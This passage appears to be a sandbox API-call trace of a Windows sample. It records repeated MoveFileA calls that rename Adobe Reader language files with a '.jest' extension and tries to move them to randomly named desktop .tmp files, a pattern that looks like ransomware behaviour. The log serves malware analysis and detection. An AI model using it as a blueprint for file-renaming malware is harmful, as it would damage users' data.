fltIn=0x47945043, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75936.52") returned 0x0 [0150.844] PeekMessageA (in: lpMsg=0x18e98c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18e98c) returned 0 [0150.844] CoFreeUnusedLibraries () [0150.844] GetTickCount () returned 0x11577b0 [0150.844] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0150.844] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0150.844] GetTickCount () returned 0x11577b0 [0150.844] IsWindowVisible (hWnd=0x30268) returned 0 [0150.844] Sleep (dwMilliseconds=0x0) [0150.846] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.es_PR.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.es_pr.txt"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\AOEKTNPPAC1IF z4Bb0m_44ol 46-YbErG ckQuJBiEwaLNt2FU4MKZ4qNpZH9vr6U3rD0K1-keg9joGfl73pzzu2K0Cfh yjZMBB.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\aoektnppac1if z4bb0m_44ol 46-yberg ckqujbiewalnt2fu4mkz4qnpzh9vr6u3rd0k1-keg9jogfl73pzzu2k0cfh yjzmbb.tmp")) returned 0 [0150.846] GetLastError () returned 0x2 [0150.847] PeekMessageA (in: lpMsg=0x18eaac, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18eaac) returned 0 [0150.847] CoFreeUnusedLibraries () [0150.847] GetTickCount () returned 0x11577bf [0150.847] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0150.847] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0150.847] GetTickCount () returned 0x11577bf [0150.847] IsWindowVisible (hWnd=0x30268) returned 0 [0150.847] Sleep (dwMilliseconds=0x0) [0150.848] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.es_PE.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.es_pe.txt"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.es_PE.txt.jest" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.es_pe.txt.jest")) returned 1 [0150.849] GetLastError () returned 0x0 [0150.849] SysStringByteLen (bstr="㩃停潲牧浡䘠汩獥⠠㡸⤶䅜潤敢剜慥敤⁲〱〮剜獥畯捲履楌杮極瑳捩屳慌杮慵敧慎敭㉳䑜獩汰祡慌杮慵敧慎敭⹳獥偟⹅硴t") returned 0x6b [0150.849] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1467bd4, cbMultiByte=107, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 107 [0150.849] SysStringByteLen (bstr="㩃停潲牧浡䘠汩獥⠠㡸⤶䅜潤敢剜慥敤⁲〱〮剜獥畯捲履楌杮極瑳捩屳慌杮慵敧慎敭㉳䑜獩汰祡慌杮慵敧慎敭⹳獥偟⹅硴t") returned 0x6b [0150.849] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1467bd4, cbMultiByte=108, lpWideCharStr=0x144eaec, cchWideChar=215 | out: lpWideCharStr="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.es_PE.txt") returned 108 [0150.849] SysStringByteLen (bstr="㩃停潲牧浡䘠汩獥⠠㡸⤶䅜潤敢剜慥敤⁲〱〮剜獥畯捲履楌杮極瑳捩屳慌杮慵敧慎敭㉳䑜獩汰祡慌杮慵敧慎敭⹳獥偟⹅硴⹴敪瑳") returned 0x70 [0150.849] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x144ebf4, cbMultiByte=112, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 112 [0150.849] SysStringByteLen (bstr="㩃停潲牧浡䘠汩獥⠠㡸⤶䅜潤敢剜慥敤⁲〱〮剜獥畯捲履楌杮極瑳捩屳慌杮慵敧慎敭㉳䑜獩汰祡慌杮慵敧慎敭⹳獥偟⹅硴⹴敪瑳") returned 0x70 [0150.849] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x144ebf4, cbMultiByte=113, lpWideCharStr=0x14cf144, cchWideChar=225 | out: lpWideCharStr="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.es_PE.txt.jest") returned 113 [0150.850] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.es_PE.txt", cchWideChar=-1, lpMultiByteStr=0x18e6e0, cbMultiByte=261, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.es_PE.txt", lpUsedDefaultChar=0x0) returned 108 [0150.850] VarBstrFromR4 (in: fltIn=0x47945045, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75936.54") returned 0x0 [0150.850] PeekMessageA (in: lpMsg=0x18e98c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18e98c) returned 0 [0150.851] CoFreeUnusedLibraries () [0150.851] GetTickCount () returned 0x11577bf [0150.851] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0150.851] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0150.851] GetTickCount () returned 0x11577bf [0150.851] IsWindowVisible (hWnd=0x30268) returned 0 [0150.851] Sleep (dwMilliseconds=0x0) [0150.852] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.es_PE.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.es_pe.txt"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\uoH FKaBUMd_tbfxAQ43yYxu6AEgOEFV4cjfI5-kg6nLP eke6xvbdKf6M3CeKdbkhB CK1Af4cssrUUfYlxq2kxp8hqM-AtSMc8u.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\uoh fkabumd_tbfxaq43yyxu6aegoefv4cjfi5-kg6nlp eke6xvbdkf6m3cekdbkhb ck1af4cssruufylxq2kxp8hqm-atsmc8u.tmp")) returned 0 [0150.852] GetLastError () returned 0x2 [0150.852] PeekMessageA (in: lpMsg=0x18eaac, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18eaac) returned 0 [0150.852] CoFreeUnusedLibraries () [0150.853] GetTickCount () returned 0x11577bf [0150.853] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0150.853] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0150.853] GetTickCount () returned 0x11577bf [0150.853] IsWindowVisible (hWnd=0x30268) returned 0 [0150.853] Sleep (dwMilliseconds=0x0) [0150.854] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.es_PA.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.es_pa.txt"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.es_PA.txt.jest" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.es_pa.txt.jest")) returned 1 [0150.855] GetLastError () returned 0x0 [0150.855] SysStringByteLen (bstr="㩃停潲牧浡䘠汩獥⠠㡸⤶䅜潤敢剜慥敤⁲〱〮剜獥畯捲履楌杮極瑳捩屳慌杮慵敧慎敭㉳䑜獩汰祡慌杮慵敧慎敭⹳獥偟⹁硴t") returned 0x6b [0150.855] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x144bb04, cbMultiByte=107, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 107 [0150.855] SysStringByteLen (bstr="㩃停潲牧浡䘠汩獥⠠㡸⤶䅜潤敢剜慥敤⁲〱〮剜獥畯捲履楌杮極瑳捩屳慌杮慵敧慎敭㉳䑜獩汰祡慌杮慵敧慎敭⹳獥偟⹁硴t") returned 0x6b [0150.855] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x144bb04, cbMultiByte=108, lpWideCharStr=0x14cf144, cchWideChar=215 | out: lpWideCharStr="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.es_PA.txt") returned 108 [0150.855] SysStringByteLen (bstr="㩃停潲牧浡䘠汩獥⠠㡸⤶䅜潤敢剜慥敤⁲〱〮剜獥畯捲履楌杮極瑳捩屳慌杮慵敧慎敭㉳䑜獩汰祡慌杮慵敧慎敭⹳獥偟⹁硴⹴敪瑳") returned 0x70 [0150.855] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x146c82c, cbMultiByte=112, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 112 [0150.855] SysStringByteLen (bstr="㩃停潲牧浡䘠汩獥⠠㡸⤶䅜潤敢剜慥敤⁲〱〮剜獥畯捲履楌杮極瑳捩屳慌杮慵敧慎敭㉳䑜獩汰祡慌杮慵敧慎敭⹳獥偟⹁硴⹴敪瑳") returned 0x70 [0150.855] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x146c82c, cbMultiByte=113, lpWideCharStr=0x144ebf4, cchWideChar=225 | out: lpWideCharStr="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.es_PA.txt.jest") returned 113 [0150.855] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.es_PA.txt", cchWideChar=-1, lpMultiByteStr=0x18e6e0, cbMultiByte=261, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.es_PA.txt", lpUsedDefaultChar=0x0) returned 108 [0150.856] VarBstrFromR4 (in: fltIn=0x47945045, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75936.54") returned 0x0 [0150.856] PeekMessageA (in: lpMsg=0x18e98c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18e98c) returned 0 [0150.856] CoFreeUnusedLibraries () [0150.856] GetTickCount () returned 0x11577bf [0150.856] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0150.856] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0150.856] GetTickCount () returned 0x11577bf [0150.856] IsWindowVisible (hWnd=0x30268) returned 0 [0150.856] Sleep (dwMilliseconds=0x0) [0150.857] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.es_PA.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.es_pa.txt"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\VEtrtmXTimS2WdCtNfqJpPjm3UeXTlzFQl76CJpZ mfPv-3QHnFPlR2YmvMNDbpxVxRdl9j_EQ0G bmiTtKevwePs3l_sGEtuVZJ.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\vetrtmxtims2wdctnfqjppjm3uextlzfql76cjpz mfpv-3qhnfplr2ymvmndbpxvxrdl9j_eq0g bmittkevweps3l_sgetuvzj.tmp")) returned 0 [0150.858] GetLastError () returned 0x2 [0150.858] PeekMessageA (in: lpMsg=0x18eaac, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18eaac) returned 0 [0150.858] CoFreeUnusedLibraries () [0150.858] GetTickCount () returned 0x11577bf [0150.858] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0150.858] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0150.858] GetTickCount () returned 0x11577bf [0150.859] IsWindowVisible (hWnd=0x30268) returned 0 [0150.859] Sleep (dwMilliseconds=0x0) [0150.859] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.es_NI.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.es_ni.txt"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.es_NI.txt.jest" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.es_ni.txt.jest")) returned 1 [0150.860] GetLastError () returned 0x0 [0150.860] SysStringByteLen (bstr="㩃停潲牧浡䘠汩獥⠠㡸⤶䅜潤敢剜慥敤⁲〱〮剜獥畯捲履楌杮極瑳捩屳慌杮慵敧慎敭㉳䑜獩汰祡慌杮慵敧慎敭⹳獥也⹉硴t") returned 0x6b [0150.860] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1467bd4, cbMultiByte=107, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 107 [0150.860] SysStringByteLen (bstr="㩃停潲牧浡䘠汩獥⠠㡸⤶䅜潤敢剜慥敤⁲〱〮剜獥畯捲履楌杮極瑳捩屳慌杮慵敧慎敭㉳䑜獩汰祡慌杮慵敧慎敭⹳獥也⹉硴t") returned 0x6b [0150.860] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1467bd4, cbMultiByte=108, lpWideCharStr=0x1445ffc, cchWideChar=215 | out: lpWideCharStr="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.es_NI.txt") returned 108 [0150.860] SysStringByteLen (bstr="㩃停潲牧浡䘠汩獥⠠㡸⤶䅜潤敢剜慥敤⁲〱〮剜獥畯捲履楌杮極瑳捩屳慌杮慵敧慎敭㉳䑜獩汰祡慌杮慵敧慎敭⹳獥也⹉硴⹴敪瑳") returned 0x70 [0150.860] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x144ebf4, cbMultiByte=112, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 112 [0150.860] SysStringByteLen (bstr="㩃停潲牧浡䘠汩獥⠠㡸⤶䅜潤敢剜慥敤⁲〱〮剜獥畯捲履楌杮極瑳捩屳慌杮慵敧慎敭㉳䑜獩汰祡慌杮慵敧慎敭⹳獥也⹉硴⹴敪瑳") returned 0x70 [0150.860] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x144ebf4, cbMultiByte=113, lpWideCharStr=0x146c82c, cchWideChar=225 | out: lpWideCharStr="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.es_NI.txt.jest") returned 113 [0150.861] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.es_NI.txt", cchWideChar=-1, lpMultiByteStr=0x18e6e0, cbMultiByte=261, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.es_NI.txt", lpUsedDefaultChar=0x0) returned 108 [0150.861] VarBstrFromR4 (in: fltIn=0x47945047, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75936.55") returned 0x0 [0150.862] PeekMessageA (in: lpMsg=0x18e98c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18e98c) returned 0 [0150.862] CoFreeUnusedLibraries () [0150.862] GetTickCount () returned 0x11577cf [0150.862] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0150.862] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0150.862] GetTickCount () returned 0x11577cf [0150.862] IsWindowVisible (hWnd=0x30268) returned 0 [0150.862] Sleep (dwMilliseconds=0x0) [0150.863] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.es_NI.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.es_ni.txt"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\geN7p3Az87EwajEa2OcT7RY494U1C7UC2m1M-YbNmFDf8NwVXN_rDMugcf_ 4Q 8KqKj7XmjbOozsRMbM-EFgN0kHXaYOHwmv joU.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\gen7p3az87ewajea2oct7ry494u1c7uc2m1m-ybnmfdf8nwvxn_rdmugcf_ 4q 8kqkj7xmjboozsrmbm-efgn0khxayohwmv jou.tmp")) returned 0 [0150.863] GetLastError () returned 0x2 [0150.864] PeekMessageA (in: lpMsg=0x18eaac, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18eaac) returned 0 [0150.864] CoFreeUnusedLibraries () [0150.864] GetTickCount () returned 0x11577cf [0150.864] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0150.864] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0150.864] GetTickCount () returned 0x11577cf [0150.864] IsWindowVisible (hWnd=0x30268) returned 0 [0150.864] Sleep (dwMilliseconds=0x0) [0150.865] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.es_MX.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.es_mx.txt"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.es_MX.txt.jest" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.es_mx.txt.jest")) returned 1 [0150.866] GetLastError () returned 0x0 [0150.866] SysStringByteLen (bstr="㩃停潲牧浡䘠汩獥⠠㡸⤶䅜潤敢剜慥敤⁲〱〮剜獥畯捲履楌杮極瑳捩屳慌杮慵敧慎敭㉳䑜獩汰祡慌杮慵敧慎敭⹳獥䵟⹘硴t") returned 0x6b [0150.866] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x144bb04, cbMultiByte=107, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 107 [0150.866] SysStringByteLen (bstr="㩃停潲牧浡䘠汩獥⠠㡸⤶䅜潤敢剜慥敤⁲〱〮剜獥畯捲履楌杮極瑳捩屳慌杮慵敧慎敭㉳䑜獩汰祡慌杮慵敧慎敭⹳獥䵟⹘硴t") returned 0x6b [0150.866] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x144bb04, cbMultiByte=108, lpWideCharStr=0x146c82c, cchWideChar=215 | out: lpWideCharStr="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.es_MX.txt") returned 108 [0150.866] SysStringByteLen (bstr="㩃停潲牧浡䘠汩獥⠠㡸⤶䅜潤敢剜慥敤⁲〱〮剜獥畯捲履楌杮極瑳捩屳慌杮慵敧慎敭㉳䑜獩汰祡慌杮慵敧慎敭⹳獥䵟⹘硴⹴敪瑳") returned 0x70 [0150.866] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x144ddec, cbMultiByte=112, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 112 [0150.866] SysStringByteLen (bstr="㩃停潲牧浡䘠汩獥⠠㡸⤶䅜潤敢剜慥敤⁲〱〮剜獥畯捲履楌杮極瑳捩屳慌杮慵敧慎敭㉳䑜獩汰祡慌杮慵敧慎敭⹳獥䵟⹘硴⹴敪瑳") returned 0x70 [0150.866] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x144ddec, cbMultiByte=113, lpWideCharStr=0x144ebf4, cchWideChar=225 | out: lpWideCharStr="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.es_MX.txt.jest") returned 113 [0150.866] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.es_MX.txt", cchWideChar=-1, lpMultiByteStr=0x18e6e0, cbMultiByte=261, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.es_MX.txt", lpUsedDefaultChar=0x0) returned 108 [0150.867] VarBstrFromR4 (in: fltIn=0x47945047, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75936.55") returned 0x0 [0150.867] PeekMessageA (in: lpMsg=0x18e98c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18e98c) returned 0 [0150.867] CoFreeUnusedLibraries () [0150.867] GetTickCount () returned 0x11577cf [0150.867] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0150.867] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0150.867] GetTickCount () returned 0x11577cf [0150.868] IsWindowVisible (hWnd=0x30268) returned 0 [0150.868] Sleep (dwMilliseconds=0x0) [0150.869] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.es_MX.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.es_mx.txt"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Myy8Lqmr0imFC9yWqEv-9ENtiGpDABIpRIXKw6b_1JiC0V-kn4UZTVMN0hvccKcmLDj-8qbC1GZ2cEgHsBtnpylpNFOnoWrHCm3j.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\myy8lqmr0imfc9ywqev-9entigpdabiprixkw6b_1jic0v-kn4uztvmn0hvcckcmldj-8qbc1gz2ceghsbtnpylpnfonowrhcm3j.tmp")) returned 0 [0150.869] GetLastError () returned 0x2 [0150.869] PeekMessageA (in: lpMsg=0x18eaac, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18eaac) returned 0 [0150.869] CoFreeUnusedLibraries () [0150.869] GetTickCount () returned 0x11577cf [0150.869] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0150.869] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0150.870] GetTickCount () returned 0x11577cf [0150.870] IsWindowVisible (hWnd=0x30268) returned 0 [0150.870] Sleep (dwMilliseconds=0x0) [0150.870] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.es_HN.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.es_hn.txt"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.es_HN.txt.jest" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.es_hn.txt.jest")) returned 1 [0150.871] GetLastError () returned 0x0 [0150.872] SysStringByteLen (bstr="㩃停潲牧浡䘠汩獥⠠㡸⤶䅜潤敢剜慥敤⁲〱〮剜獥畯捲履楌杮極瑳捩屳慌杮慵敧慎敭㉳䑜獩汰祡慌杮慵敧慎敭⹳獥䡟⹎硴t") returned 0x6b [0150.872] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1467bd4, cbMultiByte=107, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 107 [0150.872] SysStringByteLen (bstr="㩃停潲牧浡䘠汩獥⠠㡸⤶䅜潤敢剜慥敤⁲〱〮剜獥畯捲履楌杮極瑳捩屳慌杮慵敧慎敭㉳䑜獩汰祡慌杮慵敧慎敭⹳獥䡟⹎硴t") returned 0x6b [0150.872] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1467bd4, cbMultiByte=108, lpWideCharStr=0x144ebf4, cchWideChar=215 | out: lpWideCharStr="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.es_HN.txt") returned 108 [0150.872] SysStringByteLen (bstr="㩃停潲牧浡䘠汩獥⠠㡸⤶䅜潤敢剜慥敤⁲〱〮剜獥畯捲履楌杮極瑳捩屳慌杮慵敧慎敭㉳䑜獩汰祡慌杮慵敧慎敭⹳獥䡟⹎硴⹴敪瑳") returned 0x70 [0150.872] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x144eaec, cbMultiByte=112, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 112 [0150.872] SysStringByteLen (bstr="㩃停潲牧浡䘠汩獥⠠㡸⤶䅜潤敢剜慥敤⁲〱〮剜獥畯捲履楌杮極瑳捩屳慌杮慵敧慎敭㉳䑜獩汰祡慌杮慵敧慎敭⹳獥䡟⹎硴⹴敪瑳") returned 0x70 [0150.872] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x144eaec, cbMultiByte=113, lpWideCharStr=0x144ddec, cchWideChar=225 | out: lpWideCharStr="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.es_HN.txt.jest") returned 113 [0150.872] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.es_HN.txt", cchWideChar=-1, lpMultiByteStr=0x18e6e0, cbMultiByte=261, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: 